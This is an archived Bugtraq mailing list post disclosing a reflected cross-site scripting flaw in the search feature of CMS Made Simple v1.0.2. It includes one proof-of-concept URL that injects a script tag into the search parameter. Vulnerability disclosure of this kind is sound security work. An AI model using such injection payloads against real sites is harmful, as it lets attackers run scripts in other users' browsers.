Home page logo
/

bugtraq logo Bugtraq mailing list archives

Re: XSS - CMS Made Simple v1.0.2
From: nanoymaster () gmail com
Date: 28 Dec 2006 14:35:51 -0000

I can't remember if I posted another xss found (probably fond by someone else as well but I thought you might like to 
know)

in the search box or url oyu can put xss eg.

http://www.target.com/index.php?mact=Search%2Ccntnt01%2Cdosearch%2C0&cntnt01returnid=15&cntnt01searchinput=";><script>alert('hi')</script>&cntnt01submit=Submit

obviously this doesn't count for much as it is non permanent... but still

enjoy
NanoyMaster


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]